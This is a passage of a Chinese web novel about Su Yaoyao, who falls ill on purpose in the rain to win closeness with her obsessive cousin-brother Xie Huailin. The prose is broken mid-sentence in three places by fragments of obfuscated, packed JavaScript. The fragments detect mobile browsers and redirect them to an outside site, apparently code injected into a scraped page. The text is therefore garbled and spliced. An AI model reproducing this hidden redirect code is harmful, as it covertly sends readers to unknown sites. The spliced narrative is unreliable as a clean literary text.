太舒服了,甚至会让她没出息地有一种酥麻感。 苏窈窈简直觉得自己的耳朵都是软绵绵的,肯定也红透了。 糟糕了,现在光是听兄长说话,她身子就开始软了吗。 苏窈窈没办法,努力装出一副很平静的样子,抬起头开,泪盈盈地问她兄长:“窈窈就是不想哥哥生我的气。” “哥哥,我可以抱一下你吗?” 她撇了撇嘴,秀眉皱起,神情看起来有点恹恹的,许是害怕他会和昨日那般冰冷地拒绝她,说她长大了,说男女有别,不能抱了。 时间仿佛静止,风吹过亦没有一丝声音。 面前的妹妹朝他张开了手,要他抱。 看起来就和小时候一样。 谢怀凛微微歪了下头,他盯着面前的妹妹,漆黑的双瞳里覆盖了深沉夜色,过白的脸上是极为漂亮的五官,在昏暗的夜色里有一种诡谲的艳丽感。 苏窈窈看着她兄长过于好看的脸,只觉得自己快要跌入一场梦境里,迷迷糊糊的。 “窈窈。”谢怀凛抱了自己的妹妹,“是哥哥的妹妹。” 他的声音还是哑的。 苏窈窈环抱住了她兄长的窄腰,脸贴在了她兄长胸膛。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480075|201686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >兄长的腰腹还是坚硬的,紧实的,她甚至可以感受到衣衫下面那有力的肌肉。 这个抱似乎与之前兄妹之间的拥抱没有两样,但是,在心里生出了那种心思之后,苏窈窈身上所有的感官刺激似乎都被无限放大了。 春日衣衫薄,隔着一层层薄薄的绸衣,近乎是肌肤相亲了,而且比起实实在在的肌肤相亲,又有着一种别样的旖旎。 是了,此刻对苏窈窈而言,这种拥抱,这种隔着衣衫的肌肤相碰,就是一种让她浑身发烫,身体都要软了的刺激。 她抱着兄长的腰,那劲瘦窄腰的力量感让她有点发颤,她的脸靠在她兄长胸膛这里,苏窈窈感觉脸颊都被烧得通红了。 这种种的接触都让她头脑发昏,也更加证实了萧嘉宁的说法是对的…… 她的心的确跳的好快。 完了,脸也好烫,完了,她觉得有点喘不上气,喉咙这里好干涩,天呐,她怎么还想狂咽口水! 她真是色胆包天啊…… 苏窈窈头脑发昏的不行,忽然又想起了她之前因为好奇偷偷看过的那些小册子,很快,那些画上男女各种奇怪的姿势,在她脑海里全都换成了她和她哥哥的脸! 然后,如这潮湿粘稠的春夜一般,身体的反应给了她最直观的答案。 待意识到裙衫下的反应,苏窈窈的脸一下羞红。 苏窈窈你真的起了歹念啊! 苏窈窈被自己脑子里的想法震惊得立马清醒,她一下子羞得不行,情急之下便推开了她兄长,瞬间退后了好几步。 她慌张地看着她兄长,脸还是烧红的,在模糊的夜色下,像极了娇艳欲滴的桃花。 “窈窈?”谢怀凛轻声问了句,话声里带着小心翼翼。 苏窈窈被自己的反应羞耻得不行,只能慌张地遮掩过去,随口说道:“我,我只是想起来,兄长说男女有别,不该抱兄长抱得这么紧,我就松开了……” “是吗……”谢怀凛淡淡笑了声,他俯下身,指尖又轻柔地擦拭着少女额上的汗珠,“窈窈能这么想是好事,窈窈长大了,与兄长的确是男女有别,但是……” 他的声音停顿了一下,后面再接着说时,那种浅淡的笑意消失了,他很温柔地看着她,漆黑的眼瞳明明常年冷如深潭,此刻却好似在燃着一簇忽明忽暗的火。 “窈窈要记得,窈窈和哥哥是永远的兄妹。” “彼此的,唯一的……兄妹。” 苏窈窈只觉得兄长的目光和之前有点不一样,但她也说不上来有哪里不一样,她已经被自己对兄长的歹念和色心震惊得无以复加了,听到她兄长说的这几句话后,脑子成了一团乱麻。 哥哥说,是永远的兄妹。 苏窈窈讷讷点头,却忽然觉得很难过。 兄长一直把我当妹妹。 那我呢…… 我把兄长当不了哥哥了。 7. 第 7 章 接下来,苏窈窈度过了一段纠结又昏沉的日子。 白天行尸走肉一般地和她哥哥扮演兄友妹恭,看上去似乎从从前无异,但只有苏窈窈自己知道,每一次再正常不过的触碰,每一次从唇齿尖说出的兄长,都在一点点地折磨着她的心。 她越在意,越关注,自她兄长指尖传来的触碰,自他身上散发出的气息,都会让她忍不住地身体发颤,耳朵发烫,心尖都是抖的…… 以往的亲密无间,如今对她而言却是最刻骨的折磨。 苏窈窈简直觉得自己要害了相思病,天天茶饭不思的,人都瘦了。 可偏偏在兄长询问她的时候,她还要装出一副笑容来,生怕他发现了自己对他的那些歹念,还有不堪的心思。 兄长已经好几次入她的梦了。 苏窈窈觉得自己真的是色胆包天,兄长在她梦里简直是换了一个人,羞得她睡醒后,脸都是烧红的。 苏窈窈不知道要怎么办了。 告诉兄长,说自己馋他身子,想和他成亲吗? 等下兄长接受不了,和她断绝兄妹关系怎么办? 苏窈窈觉得自己还是不能这么冲动,得再想想才成。 苏窈窈天天想啊想,梦里胆大包天地轻薄她兄长,白日里却是胆小得都不敢和她兄长对视,生怕她兄长看出她的歹念来。 唉。 苏窈窈叹气,没办法,只能减少和兄长的见面次数,这些日子几乎天天都待在了老夫人的院子里。 老夫人是她的外祖母,一直觉得对自己唯一的女儿,也就是苏窈窈的母亲多有亏欠,便将对女儿的爱都补偿在了苏窈窈身上。 尽管谢府其他人,包括谢父都不待见来投奔谢府的苏窈窈,但整个谢府的确无人敢欺负她。 以前是有老夫人护着,而如今就算老夫人年事已高,还有谢怀凛这个兄长护她,看得比眼珠子还重。 谢明姝那时气急找苏窈窈的麻烦,也只敢嘴上动动嘴皮子。 而尽管她是只动嘴皮子,苏窈窈也自己还了回去,没有让她占到半分好处,最后还是被谢怀凛关在了偏院,关他母亲那个疯女人的地方。 自小,在有关于他这个妹妹的事情上,他总是超乎寻常的偏执。 苏窈窈陪伴老夫人,会逗老夫人开心,也会替老夫人捏肩捶腿,她性子活泼又爱笑,还会说老夫人爱听的话,老夫人对这个外孙女是越发喜爱了,便说起了她的婚事,说一定会给她寻一门好亲事。 “宋家的事,外祖母已经说了你舅舅一顿,窈窈不用担心这事,宋家公子名声极差,外祖母不会让我家窈窈嫁过去……” 苏窈窈伏在老夫人膝头,听到这话顿时鼻子一酸,泪珠就顺着眼尾流了下来,她抬手擦了擦眼泪,舒了口气后笑着说:“祖母不用为窈窈操心,动了心气的话,窈窈会伤心的,娘亲也会伤心的……” 最后那句话,苏窈窈说得极为小声,像是在说给自己听。 “祖母知道你是怕我这个老婆子担心,才不和我说这事,去找了你那兄长。” 老夫人慈爱地看着和自己女儿有七分相像的孙女,说起谢怀凛时,脸上慈爱的神情却又消失,变得凝重起来。 “他不是个良善的孩子,许是对这个谢家还有诸多记恨。”老夫人声音沙哑,想起那谢明姝之事,又叹了口气。 这孩子自小她便喜欢不起来,同他那疯子母亲如出一辙,但是…… “幸好,他对你这个妹妹很看重。”老夫人摇了摇头,笑着说,“我这把老骨头怕是坚持不了多久了哟,有他在,我也放心了。” “他会为我们窈窈寻一门最好的亲事。” 听到这话,苏窈窈一愣,眼睛一红就扑到了老夫人怀里:“祖母会长命百岁的,祖母还要陪窈窈好久好久呢,以后窈窈成亲了,窈窈的窈窈出生了,我还要让祖母取名字呢。” “窈窈不哭,虽然怀凛这个孩子我一直不喜欢,但有他在祖母也放心了,他会护着你,谢家谁也动摇不了你的地位。” “不想嫁的人,不嫁了便是,祖母不会逼你,你兄长也不会逼你。” “以后若是看上了哪家公子,也只管和你兄长说,他无论如何都会撮成的。” 苏窈窈听着她外祖母的话,却是在想,可是她看上的人就是她兄长呢,兄长把她当亲妹妹那样疼,她如何敢说呢。 她若是说了,一定会吓到兄长的吧,说不定兄长还会觉得她恶心,觉得她在乱/伦,毕竟兄长读遍了圣贤书,尤其恪守这些人伦纲常,如今当了大官,又天天和那些老学究待在一起,古板得不行了,抱不让抱,牵手也不行。 兄长一定不会接受的…… 虽然他和她只是表兄妹呢,但是苏窈窈知道,兄长就是把她当亲妹妹疼的…… 她喜欢兄长,但她不敢说,说了铁定要翻天,兄长说不定还会觉得她病了,要给她治病呢。 说不定还会速速给她配一门亲事,不让她待在身边了。 少女长长地叹了口气,想着,要是兄长也喜欢她,不把她当亲妹妹就好了。 她本来就不是他的亲妹妹呢。 想着想着,苏窈窈发现了关键所在,她混沌的脑子里灵光一闪,忽然想到了一个法子。 兄长若是把她当亲妹妹,那必定对她没有男女之情。 那她可以慢慢引诱兄长,让兄长也不把她当亲妹妹不就好了! 把兄长对她的兄妹之情,慢慢变成男女之情! 这样不就好了? 苏窈窈瞬间豁然。 反正她和兄长也不是亲兄妹,她是女,他是男,她就不信了,她勾引兄长,兄长会对她没有男女之间的情欲。 对了…… 苏窈窈忽然想到了一个很严肃的问题 要……怎么勾引人来着? 按她偷偷看的那些春宫图吗? —— 苏窈窈对男女之事的认识,那所谓的“勾引”人的知识,都来自于春宫图和她所看的话本。 但她毕竟是第一次做这种事,她决定还是循序渐进一点。 不然吓到了兄长怎么办? 兄长这么古板,不到必要的时候,她,她还是不要那么放肆…… 苏窈窈只要一想到那些册子上的画面,整个人都羞红了脸。 那些也太……连她都不能直视,兄长恐怕更会。 于是,苏窈窈决定循序渐进地实行她的第一步计划:先与兄长制造亲密接触! 比如说装作不经意地扑入兄长怀里,碰碰她兄长的手啊,抱抱她兄长的腰啊,实在不行再色/诱。 但一想到这里,苏窈窈又犯了难。 如今兄长总说她长大了,要懂得男女有别,总是会与她刻意保持距离,连碰都很少碰到她,更别说让她扑他怀里,摸摸他的手,抱抱他的腰了,上回还是她装委屈,才让兄长抱了她。 自那之后,兄长总是和她刻意保持着一种距离,看似和之前那样亲密无间,却不会和她有任何的触碰。 但是…… 苏窈窈灵机一动,忽然想到,每次她生病的时候,兄长都可关心她了,彻夜守在她身旁,衣不解带地照顾她,要是她生病了,兄长肯定顾不上男女之防,她就可以实施计划了! 于是,在难捱的,对她兄长的思慕下,苏窈窈做了一件极其愚蠢的,昏头的事。 她为了让自己生病,在一次下雨的时候,晚上一个人偷偷站在院子里,只穿着单薄的绸衫,淋了一夜的雨。 其实好冷好冷,冷得她瑟瑟发抖,但她想起她兄长的模样,还是咬着牙忍了。 一边淋雨一边哭,觉得自己是个傻子,一边又想不到好办法,想着好像也只能这样了。 她以为这样就能接近兄长,让兄长喜欢她。 她以为这样,她和兄长就不会分开了。 但此时的她还不知道,这件事会让她兄长的疯病……彻底复发。 —— “大公子大公子,我家小姐病了,您……” 淋了一夜雨,苏窈窈果然受寒发烧了,翌日丫鬟怎么喊她都喊不醒,撩开帐子一瞧,发现她家小姐两颊都烧红了,小丫鬟用手摸了下额头,更是烫得犹如火烧,小丫鬟被吓坏了,一瞬间竟是先想着去找谢怀凛,而不是去喊大夫。 小丫鬟话都没说完,“病了”这两个字才刚出口,“啪”的一声,谢怀凛手中的书掉在了地上。 “去叫大夫。”谢怀凛起身吩咐,一阵风掠过一般,转眼就出了门口。 小丫鬟这才意识到平日里习惯了她家小姐大大小小的事都说与大公子听,竟是忘了喊大夫,她急得的都出冷汗,赶紧去了。 初春夜里本就寒气重,更别说苏窈窈穿着单薄的衣裳淋了一夜的雨,等谢怀凛赶到的时候,苏窈窈已经被烧得神志不清了。 脸颊通红,耳畔的乌发都湿透了,汗涔涔的,苍白的嘴唇微微张开,贝齿若隐若现,嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480076|201686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里含糊地在说着呓语。 “爹爹,娘亲……” “爹爹,娘亲,祖母……” “哥哥……” “哥哥……” 她小声地喊着爹娘,喊着祖母,后又喊哥哥。 这些呢喃不清的呓语,清清楚楚地落在了谢怀凛耳边。 而苏窈窈在谢府极少,极少会提起她爹娘,就算是谢怀凛,除了每年的祭祀外,也只从她口中听过几次。 谢怀凛的脸一下苍白,漆黑的眼睫垂下,呼吸无端重了起来。 他一步上前,掀开衣袍下摆,坐在少女的床榻边。 “哥哥在,窈窈别怕……”宽大修长的手掌着少女后脑勺,谢怀凛把她扶到怀里,在她耳边嘶哑重复着这些话,话声轻得像只有他和她才能听到的密语。 苏窈窈发着高热,脆弱潮红的小脸出着汗,像是被雨淋湿一般,弓着背,头低得很下,将苏窈窈脸颊湿透的,黏连着的发丝别到耳后,无意中触到她肌肤,手指一颤。 太烫了。 谢怀凛的唇和怀里的少女一样没有血色,他垂着眼睫,浓密的长睫遮掩住了他眸子里的绝大部分情绪,只是声音却遮掩不了分毫。 谢怀凛接过丫鬟手里的湿毛巾,小心擦拭着少女脸上的汗,问了声:“大夫呢?” 这话声冷到极致,屋子里的丫鬟瞬间都被吓到,脊背阵阵发寒,差点就跪在地上了。 也怪她们竟然忘了先去喊大夫,下意识就去禀报了谢怀凛。 向来,她家小姐有任何事,她们都会先找大公子。 幸好谢府有府医,大夫来的很快。 “大夫来了,大夫来了!”小丫鬟把大夫领来时,长长地松了口气。 谢怀凛起身,让大夫诊脉。 府上所有人都知晓这位大公子对苏窈窈这个妹妹有多看重,大夫是不敢有丝毫怠慢,赶忙看病。 谢怀凛站在一旁的压迫感极强,脸色沉得可怕,没有半分平时示于人前不动声色的平静。 大夫诊完脉舒了口气,擦了擦汗后提笔写药方:“这是受寒引起的急烧,幸好发现的及时,只要退烧便没什么大碍,这是老夫写的药方,尽快去抓药退烧,可用酒水擦拭身子降热,熬过去便好了。” 谢怀凛说了句多谢,眼睛却一直盯着他妹妹烧红的脸,神色没有半分放心的样子。 有丫鬟接过药方,赶紧和大夫一起出去了,仿佛在这个房间里多留一秒就会没命,其他丫鬟只能恨恨看着。 她们没有照顾好小姐,让小姐烧成了这个样子,大公子肯定…… 丫鬟们面如土色,瑟瑟发抖。 房间里落针可闻,只有苏窈窈偶尔被烧得迷糊的呓语。 她还在喊着哥哥。 谢怀凛吩咐人找来酒水,他坐在床榻边,把还在昏迷的苏窈窈扶到怀里,用帕子沾了酒水,一点点地给她擦汗,降热。 许是烧得太重了,苏窈窈无意识皱着眉,在谢怀凛的指尖偶尔掠过她汗湿的皮肤时,她会哼唧地喊着哥哥,又带着哭腔说好难受。 即便在昏迷之中,她对这个兄长还是有着潜意识的依恋。 难受了她会喊哥哥,会想往他的怀里钻,会像小孩对娘亲的依恋那般,往他的怀里钻。 哥哥的气息,哥哥的怀抱总是让她觉得很安心。 特别是在这种病痛之中。 妹妹的呜咽声清晰传到了谢怀凛耳边,谢怀凛眼皮微微颤了下,他垂下眼,雾气模糊间,他的侧脸似乎轻轻碰了碰少女额头,嘶哑又温柔地哄着他妹妹。 “别怕,哥哥在,窈窈别怕……” 谢怀凛做着这些事情,凛看去似乎与平时一样,平静而温和,但此时此刻,这副兄妹情深,哥哥照顾妹妹的场景落在外人眼里,却是有着一种诡异的亲密感。 屋子里站着的丫鬟大气都不敢喘了,似是生怕谢怀凛想起她们的存在。 就这样过去了一个时辰,谢怀凛不停地用酒水擦拭着苏窈窈的脸和脖子,苏窈窈脸上的潮红总算一点点地褪去,也不会哼唧着喊难受了。 这个时候,药也煎好端了过来,谢怀凛小心地捏着他妹妹微微张开的小嘴,一勺勺地吹着药,把这药灌了下去,没有洒落一滴。 一碗药喂完,就在这些丫鬟互相看了一眼,庆幸以为这件事就要这么过去了时,谢怀凛放下药碗,手指绕着少女的发尾,忽然问了句: “窈窈的头发,怎么湿了?” 8. 第 8 章 谢怀凛缠着少女发尾的手指顿了下,顺着探进少女的长发内。 越到里面,潮湿更深,湿意被少女身上的高热蒸腾成了水汽,烫的惊人。 他的手微微弯曲,又探到了少女薄薄的背脊处。 衣服湿得可以拧出水来,热气下又有着瘆人的冰冷。 若单单出汗,不会湿成这样。 而昨夜,下了雨。 谢怀凛眸色一点点的沉了下去,一张脸白得能透出寒气。 他抽回了手,背在身后,面上惯常的没有什么表情,冷如白玉,清如明月,但他背在身后的手蜷起,骨节分明的手指还沾着少女身上潮湿的水汽,在痉挛发抖。 她淋了雨。 滴答滴答,外头长廊,雨水顺着屋檐滴落,声音清晰而诡异地回荡在屋内。 在谢怀凛问完那句话后,屋内陷入了死一般的寂静。 谢怀凛那句话问得似乎不轻不重,极为平常,但此时此刻落在这些丫鬟耳边,却与催命符无异。 府里谁都知道,在有关他这个妹妹的事上面,大公子是……极其可怕的,全然不像平日里温和的模样。 她们还记得,之前夫人往小姐院里塞了个丫鬟,这个丫鬟仗着自己是夫人房里出来的侍女,一直瞧不起她们小姐,觉得她家小姐是乡下来的穷亲戚,一直对她家小姐冷嘲热讽的。 也因为是夫人安排过来的侍女,没有人敢说什么。 有一次,这丫鬟背后嘲讽她家小姐的时候恰好被大公子听了去,听说第二日,这丫鬟便被杖责一百,逐出了府。 出府的时候命都没了。 那次,尽管有夫人出面也没用。 自那以后,府里的下人不敢对这位表小姐有任何不敬,都尽心尽力地小心伺候着。 更别说,有关于她们小姐的所有事情,事无巨细,她们皆要和大公子禀报。 一日三餐吃了什么,何时起床何时睡觉,睡眠如何,心情如何,今日说了多少句话,可有谁惹她生气,诸如此类…… 这次,她们小姐发了高热,她们…… 几乎在谢怀凛这话落下的瞬间,扑通声渐次响起,屋子里伺候苏窈窈的侍女跪了一地。 她贴身的小丫鬟慌里慌张地解释:“奴婢,奴婢也不知道……昨日奴婢伺候小姐睡下的时候,小姐的身上还清清爽爽的,头发,头发也没湿啊,奴婢真的不知道,只是在半夜的时候,奴婢恍惚间好像听到了开门的声音,但奴婢以为自己在做梦……” 贴身的小丫鬟自然不知晓其中之事,只能拼命回忆昨晚之事,不敢有任何隐瞒。 “给你们小姐换身衣裳,绞干湿发。”谢怀凛听后如此吩咐,出了门。 —— 苏窈窈高热退去,一醒来睁开眼神清气爽,什么病都没有了。 她本来想趁着自己发烧病弱的时候,赶紧让侍女去找她兄长,但没想到,一开始发烧时她全身酸软无力,就这样昏昏沉沉地烧晕了过去! 她好像做了很多梦,梦到了她爹爹娘亲,梦到了外祖母,也梦到了她哥哥。 是美梦,所以她睡了很久。 等到醒来时苏窈窈神清气爽,只觉得自己身上的病痛感都消了去时,她简直欲哭无泪。 一觉醒来病就好了,她还怎么让兄长照顾他,趁机摸摸? 苏窈窈睁眼看到她兄长的那刻,看到她兄长那张俊美漂亮的脸,便觉得自己这次不能白淋雨。 兄长这么好看,她一定要把兄长变成夫君! 苏窈窈决定装一装,继续自己的计划,引诱她的哥哥。 但苏窈窈毕竟是第一次做这种事,引诱人的手段她是半点不会,只能硬着头皮上了。 “哥哥……”苏窈窈精神头正好,本来起来一下钻她兄长怀里,但是她坐起身后又意识到自己要表现得虚弱一点,于是乎挺直的身子又以一种柔弱的姿势软了下去,分外无力地倒在了她兄长怀里。 还软着嗓子,尽力以一种娇滴滴的语气闷在他怀里喊哥哥。 “哥哥……”带了几分呜咽的哭腔,“窈窈生病了,哥哥今日能陪我吗……” 苏窈窈的手段实在是太拙劣了,只会扑她兄长怀里,只会和她兄长撒娇,只会鬼鬼祟祟地摸摸她兄长的腰。 她以为,这就算勾引了。 这算吗? 苏窈窈的确还不懂,不懂她兄长说的……她长大了是什么意思,他说的,她与他男女有别,又是什么意思。 就比如此时此刻,身姿丰盈而窈窕的少女环抱着男人精瘦的腰腹,倚偎在他怀里的画面,已经不是正常兄妹的举动了。 隐秘而热烈的欲望慢慢生出,甚至在无人察觉的暗处涌动着。 十七的苏窈窈,不管是身段还是容貌,都是春日娇花般的存在,她的体态健康而丰盈,身段窈窕而玲珑,五官因为过于精致而显得明艳生动,眼眸弯弯一笑时,一整个春天的阳光都在了她的杏子眼里。 她本就明媚,就算此刻还病气未消,如瀑乌发垂下,反而将她的脸衬得巴掌般的小脸看去苍白而乖软,她仰着脸看他时眸子里还沾了些水光,看去湿红而可怜,有种令人心生怜爱的脆弱感。 而那娇嫩欲滴的,软绸包裹着的柔软与男人坚硬冰冷的身躯贴在了一处,严丝合缝。 苏窈窈还不知道,能引出那些男女之间欲望的,从来就不是那些她自以为高明的拙劣手段。 少女还在他怀里哼唧着喊他哥哥,喊着她难受,想要他陪她。 她换了丝绸中衣,娇小的身子扑在他怀里,乌发顺着脊背倾泻而下,和男人青竹暗纹的衣袍混在一处,漆黑遮掩清雅,芳香侵染冷寒。 谢怀凛青筋乍现的手堪堪撑着床沿,他湿润着的长睫覆下,很明显的抖了一下后,他垂下眼无意识地往下看,却只见娇软雪白,刺眼灼目。 少女身上薄薄的中衣被蹭乱了,鲜红的里衣系带若隐若现,更衬得雪软灼目。 谢怀凛忽觉头疼欲裂,他眨了下眼,眼前的画面忽然成了他在佛寺墙上看到的妖邪鬼怪。 皆在嚎叫不止,朝他而来。 在苏窈窈的小手颤巍巍的,胆大包天地朝她兄长的衣襟里面摸去时,谢怀凛蓦地抓住她手腕。 少女手腕纤瘦白皙,握在他手中好似易碎美玉。 “苏窈窈。”谢怀凛喊了她名字,一双漆黑凤眸垂着,抬手拂过掩住她眼睛的一缕碎发,目光有点冰冷地看着她。 这样的目光让苏窈窈陌生,也让苏窈窈慌张,她呆呆地愣了好一会。 谢怀凛的手并没有用力,苏窈窈的手腕并不觉得痛,却被牢牢箍着,动不了分毫。 屋外雨还在下,淅淅沥沥,屋内只她和他二人,近乎对峙般地看着彼此。 男人微微低下头,一青筋纵横的手撑在床沿,一手抓着少女手腕,高大的身躯弓起,便将娇弱的少女整个笼罩在下。 两人保持着这样的姿势许久。 兄长极少这样喊她全名,苏窈窈好久,好久都没回过神,直到谢怀凛又出声。 “为什么?”他似乎皱了皱眉头,目露疑惑和痛苦,在问她,为什么? 兄长的这个目光像一把尖锐的刀子,深深刺痛了苏窈窈。 她刚刚冒出的那一点妄念和胆子,被他这眼神一刺,顿时烟消云散。 苏窈窈不想再看他的眼睛,垂下眼目光飘忽不定,随口回了句:“什么为什么啊?” 谢怀凛微微阖了下眼,淡淡说:“窈窈,你昨日受寒发了高热,那群丫鬟照顾不周,理应受罚,兄长会吩咐下去,一人杖责二十,逐出府去。” “什么?”苏窈窈似乎有些不敢相信自己听到的话,很是费劲地抬起眼皮,迟缓地眨了眨眼,看着面前的兄长。 苏窈窈好似是很久没看到她兄长一样,像是第一次看到他一般,将他仔仔细细地看了一遍。 面前的谢怀凛,她的兄长以玉簪半束长发,一袭青竹锦衣洁净无瑕,尽显雅致清冷,他看去温文尔雅,霁月清风,那眼尾下面的一点红痣,更显他容貌俊美,可乱人心神。 总而言之,看上去的确是个克己复礼,温润如玉的文臣。 谢怀凛用这幅面貌示于人前太久了,也正常太久了,让苏窈窈都差点忘了,她兄长的另一幅面貌。 忘了,她兄长,是真的有疯病。 这都多少年了,兄长的疯病都没有发作,这次难道…… “别!别!”苏窈窈赶忙制止他,没有丝毫的犹豫,苏窈窈将事情的真相全说了出来。 “兄长,你别罚她们,不关她们的事,是我自己,是我自己半夜偷偷去院子里淋雨,这才受寒了。” 谢怀凛的脑袋似乎很僵硬地动了下,他看着面前的妹妹,佛寺画壁上的万千妖邪又朝他嚎叫而来,头仿佛要被撕扯成两半。 谢怀凛凤眸微湿,眼里的疑惑更深了:“为什么要淋雨?” 被兄长用这种目光看着,那些难堪的心思苏窈窈再也说不出来,她只能找个理由糊弄过去:“我就是想让你陪陪我,我以为我生病了,你就会守在我身边了,就能让我亲近你……我知道的,虽然这些日子兄长表面看上去和以前一样待我,但兄长不会亲近我。” “你不让我抱你,不让我牵你的手,甚至于……每次我碰到你,你都要后退。”这种似有若无的疏离让苏窈窈倍感痛苦,她隐忍地咬了咬嘴唇,抹了抹眼泪,“你别以为我不知道,我全知道,你一直在躲我!” “就为这?”谢怀凛似乎笑了下,薄唇扯出个弧度,肩胛骨都在抖。 苏窈窈被她哥哥的几个字震惊到了,她抬起头来,湿淋淋的眼睫上下颤着。 她觉得委屈:“什么叫就为这?这些日子你都不同我亲近,我不是你妹妹吗,哥哥,你还记得你以前说过什么吗?” 谢怀凛当真是笑了起来,他的笑声越来越大,背弓得越来越下,仿佛要折断了一般。 他忽然凑到她面前,面色森白,眉眼昳丽,眼尾那颗痣鲜红而艳丽,看过去恍如鬼魅。 当真是半分温润都无。 兄长这张脸在她眼前瞬间放大,灼热的呼吸洒落她眼皮,苏窈窈着实被吓了一跳,眼睛里的水意更深了。 这样的谢怀凛让她想起了好久之前,她兄长病发的那一次。 苏窈窈慌了起来,开始意识到,她当真做了件蠢事。 “那你呢,苏窈窈,你记得我之前和你说过什么吗?”谢怀凛反问她,薄唇一张一合,唇齿之间的呼吸全都落在她眼眸。 此刻他与她离得太近了,两人的呼吸在这逼仄的空间里交错着,分不清是谁的喘息声重了起来。 谢怀凛和苏窈窈的确不是亲兄妹。 但是,小时候一起长大的岁月,互相舔舐伤口的岁月,却让他和她之间凝固了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480077|201686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种比血缘还要牢不可破的东西。 这种东西在他和她之间盘根错节,牵一发而动全身,有关对方一点点的风吹草动都能让彼此失控。 对于谢怀凛而言,更是如此。 当听到自己的妹妹因为想让她陪他,想和他亲近,便去做了如此之事,差点丢了命时,谢怀凛终于意识到症结所在…… 他同她,确实太过亲密了。 这种他自小到大没有干预的亲密,让他这个妹妹对他产生了扭曲的依赖。 因为他不陪她,因为他不亲近她,保持兄妹之间的距离,她可以去……伤害自己。 就为这,仅仅因为这,她淋了一夜的雨。 小时候那次,也是因为他,他这妹妹,差点死了…… 死…… 这个字突兀放大,又成了要把他脑袋搅弄得血肉模糊的钢刀。 谢怀凛因为这过分的刺激而双眼通红,甚至喉咙间涌上一股铁锈味,唇边渗出点点血红。 血红在苍白脸上更显艳丽,苏窈窈察觉到了她兄长的不对劲,她当真怕她兄长发病,便想抱住他,让他平静下来。 只是谢怀凛还死死抓着她的手,她动弹不得。 “就为这……苏窈窈,你让自己淋了一夜雨,然后,高烧昏迷……”谢怀凛吞下一口口的血,眸中痛苦之色愈深。 “你知不知道,你差点就死了?” 苏窈窈还真不知道,不知道她兄长守了一夜,不知道大夫说了什么……她以为这是小事。 最多发个烧,退烧了就好了呀。 她身子又不娇气,健健康康的,她自小就能爬树下河呢,她以为,受寒要不了她的命,顶多难受一点…… 只是她忽略了她兄长。 “哥哥,你别生气,你别生气!”小时候那血腥的画面蓦地出现在脑海,苏窈窈担心谢怀凛疯病复发,声音都急成了哭腔。 “就,就受寒而已,不会死的……”她的声音越来越小,也越来越没有底气。 “我是不是告诉过你,不要再做这样的事……”谢怀凛忽然敛了笑意,他唇上血红弥漫,每说一个字都要停顿一下,“我是不是告诉过你,不要,不要,伤害自己。” “不要因为兄长,把自己置于险境……” “你的兄长,窈窈,我是真的会变成疯子……” “兄长会杀人的……兄长会杀人的啊……你不是看到过吗?” “你不害怕吗?窈窈……” “窈窈,你那时候,不是被吓哭了吗?” 苏窈窈并不想回忆那场景……她的确害怕那样的兄长。 许是因为这,那件事,她兄长那次和她说的话,都被她刻意忽略了。 以至于有时候她都恍惚,那是兄长吗? 兄长向来温和,又极爱干净,房间里一丝灰尘都看不到,衣衫也是洁净无暇,如何会被血染红呢。 苏窈窈以为,那次只是因为她兄长突然发了疯病,是因为那疯病,而不是因为她。 就在她愣怔着出神时,唇上传来一阵湿润又寒凉的触感,猛地将她思绪拉了回来。 待苏窈窈垂下眼,看到了眼前之事时,她的杏眼一下睁得溜圆。 她兄长竟然用他的血,一点点的描摹她的唇。 谢怀凛指尖冰凉又粗粝的触感混杂着粘腻的鲜血,烙铁一般地印在她唇上,这次换苏窈窈疑惑了。 兄长在做什么? “窈窈……”少女唇瓣嫣红,谢怀凛轻声说着,温柔得像是春水流淌,“真是太不听哥哥的话了。” 他的目光无意识地在少女唇瓣流转,无关欲望,像极了小时候两头小兽互相依偎在黑暗里的场景。 但是,待他的目光自少女唇瓣缓缓上移,落在了他妹妹的眼眸时,谢怀凛却猛然一怔,如梦初醒。 “你弄疼我了!” 谢怀凛抓着苏窈窈的手用了力,像是要绞碎她一般,苏窈窈觉得又疼又委屈,终于忍不住哭了起来。 “我疼,哥哥,你别这样对我……” 她哭了,望向他这个兄长的眼睛里盈满泪雾,里面全是恐惧。 谢怀凛倏地起身,他垂下眼,眸子里血红褪去,水雾茫茫间看向垂泪的少女,脑袋疼痛又起。 而在这疼痛之下,混乱和疯狂如潮水涨落,转眼间尽数褪去,唯余理智和枷锁。 谢怀凛一袭青色锦袍,他站在她床边,如青竹一般挺直,似乎也如青竹般清润高雅。 他又成了平日里的谢怀凛。 成了她苏窈窈的兄长。 谢怀凛以兄长的名义,用世俗的规矩伦常,用最平静的话语和他这个妹妹说: 